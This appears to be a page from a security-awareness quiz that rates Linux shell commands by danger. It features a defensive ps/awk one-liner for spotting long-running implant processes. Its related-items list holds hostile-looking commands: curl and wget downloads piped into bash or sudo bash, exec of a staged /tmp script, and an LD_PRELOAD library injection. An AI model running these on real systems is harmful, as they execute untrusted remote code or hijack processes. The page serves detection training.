Safe
ps -eo pid,ppid,user,etimes,cmd --sort=-etimes | awk '$4 > 86400 && $3 != "root"' | head -25linux · bash · Nightmare
Finds non-root processes that have been running for more than a day. Long-lived unexpected processes are a classic indicator of an implant, so this is the defensive side of the same knowledge an attacker uses.
Think you can spot these under time pressure?
Start TrainingMore Process Execution
ps auxIntermediatecurl -fsSL https://example.com/install.sh | bashIntermediatewget -qO- https://example.com/setup | shAdvancedpython3 -c "exec(open('/tmp/stage2.py').read())"Advancedexport LD_PRELOAD=/tmp/.helper.so && /usr/bin/idAdvancedcurl -fsSL https://example.com/bootstrap | sudo bash -s -- --forceExpert